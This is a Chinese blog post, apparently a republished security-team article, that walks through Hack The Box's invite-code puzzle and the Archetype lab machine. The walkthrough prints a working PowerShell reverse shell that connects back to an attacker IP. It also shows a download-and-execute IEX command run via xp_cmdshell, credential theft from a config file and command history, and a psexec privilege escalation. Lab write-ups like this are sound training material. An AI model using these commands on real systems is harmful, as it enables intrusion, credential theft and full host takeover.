HackTheBox(初)

admin 2020年11月10日17:00:50评论225 views字数 3051阅读10分10秒阅读模式

HackTheBox(初)


Hack The Box是一个在线平台,允许您测试您的渗透测试技能,并与其他类似兴趣的成员交流想法和方法。它包含一些不断更新的挑战。其中一些模拟真实场景,其中一些更倾向于CTF风格的挑战。
注册账号需要一个邀请码。


在有一天闲来无事时,在逛Parrot官网时,发现HacktheBox和parrot合作了,就访问了一下Hackthebox的官网,发现需要注册,本着没事闲的理论,就开始了。


访问官网,点击登录,发现需要提交一个邀请码才可以注册。

HackTheBox(初)


根据页面提示,应该是从该登录页面中寻找相关内容。


首先查看js代码,发现其中有一个api接口,点击查看。

HackTheBox(初)


发现提示,存在混淆。

HackTheBox(初)


发现一个函数,在页面中执行此函数查看效果。
HackTheBox(初)

HackTheBox(初)

发现回显了rot13的加密字符串,使用rot13进行解密,尝试发现,有时为base64,有时为rot13。


解密后得到
In order to generate the invite code,
make a POST request to /api/invite/generate。


使用hackbar或者其他工具发送POST包。

HackTheBox(初)

得到加密后的邀请码

HackTheBox(初)

进行解码

HackTheBox(初)

得到邀请码。


进行注册登录。


登录之后发现存在一个练习教程,尝试练习。

HackTheBox(初)


发现首先需要使用openvpn进行连接,接入靶机内网环境。


官方推荐的是使用kali或者parrot系统进行攻击,因为集成了各种工具。


我这里使用的是kali,根据官方说明,需要使用openvpn进行连接。

HackTheBox(初)


使用


sudo openvpn example.ovpn


进行执行,其中example.ovpn为登录后下载的文件名称。


运行后,查看攻击机ip,发现多了一张网卡,已连接到服务器。

HackTheBox(初)


使用nmap进行扫描。


nmap -sC -sV -p 1-65535 -v 3 10.10.10.27


HackTheBox(初)


发现445、1433端口打开了,并且SMB与SQL Server相关联。


然后去查看一下文件共享目录是否开启,并且是否存在敏感信息。


使用


smbclient -N -L \\10.10.10.27\


HackTheBox(初)


发现存在一个backups,进行查看一下是否存在敏感信息。


smbclient -N \\10.10.10.27\backups


HackTheBox(初)

发现存在有一个dtsConfig文件,它是与SSIS一起使用的配置文件。


下载查看文件内容。


get prod.dtsConfig


HackTheBox(初)


发现其中包含一个SQL连接字符串,其中包含本地Windows用户的凭据ARCHETYPEsql_svc。


接下来尝试使用impacket(Impacket是用于网络协议的Python类的集合。Impacket专注于提供对数据包的低级编程访问,并且对于某些协议(例如SMB1-3和MSRPC),协议实现本身。数据包可以从头开始构建,也可以从原始数据中进行解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在该库的上下文中可以完成的操作的示例。)中的mssqlclient.py连接到目标的SQL Server。


mssqlclient.py ARCHETYPE/[email protected] -windows-auth


输入刚刚文件中的用户密码。

HackTheBox(初)

我们可以使用该IS_SRVROLEMEMBER函数显示当前SQL用户在SQL Server上是否具有sysadmin(最高级别)特权。


SELECT IS_SRVROLEMEMBER('sysadmin');


HackTheBox(初)
发现回显为1,证明具有sysadmin特权。


输入命令xp_cmdshell在主机上启用并获得RCE。


EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"


HackTheBox(初)
发现该用户并不是管理权限。


可以尝试获得适当的外壳,然后继续进一步枚举系统。将PowerShell反向外壳另存为shell.ps1。


 $client = New-Object System.Net.Sockets.TCPClient("10.10.14.82",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()


其中10.10.14.82为自己攻击机ip。

接下来,可以使用Python搭建一个小型网络服务器以托管文件。

HackTheBox(初)

在端口443上建立一个netcat侦听器后,我们可以使用ufw允许端口80和443上的回调到攻击机。


 nc -lvnp 443
ufw allow from 10.10.10.27 proto tcp to any port 80,443


接下来通过xp_cmdshell下载并执行反向Shell。


xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.82/shell.ps1");"


搭建的文件服务器收到下载请求。
HackTheBox(初)
并收到shell。
收到的外壳程序为sql_svc,可以在其桌面上获取user.txt。

HackTheBox(初)

由于这既是普通用户帐户又是服务帐户,因此可以检查频繁访问的文件或已执行的命令。可以使用下面的命令访问PowerShell历史记录文件。


type C:Userssql_svcAppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt

HackTheBox(初)


这表明该backups驱动器已使用本地管理员凭据进行了映射。我们可以使用Impacket psexec.py来获得特权外壳。


psexec.py [email protected]


其中密码为刚刚获取凭证的密码。

HackTheBox(初)

接下来获取system用户目录下,获取system.txt即可。



E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

HackTheBox(初)

我知道你在看

HackTheBox(初)
HackTheBox(初)
HackTheBox(初)

本文始发于微信公众号(Tide安全团队):HackTheBox(初)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年11月10日17:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox(初)https://cn-sec.com/archives/182557.html

发表评论

匿名网友 填写信息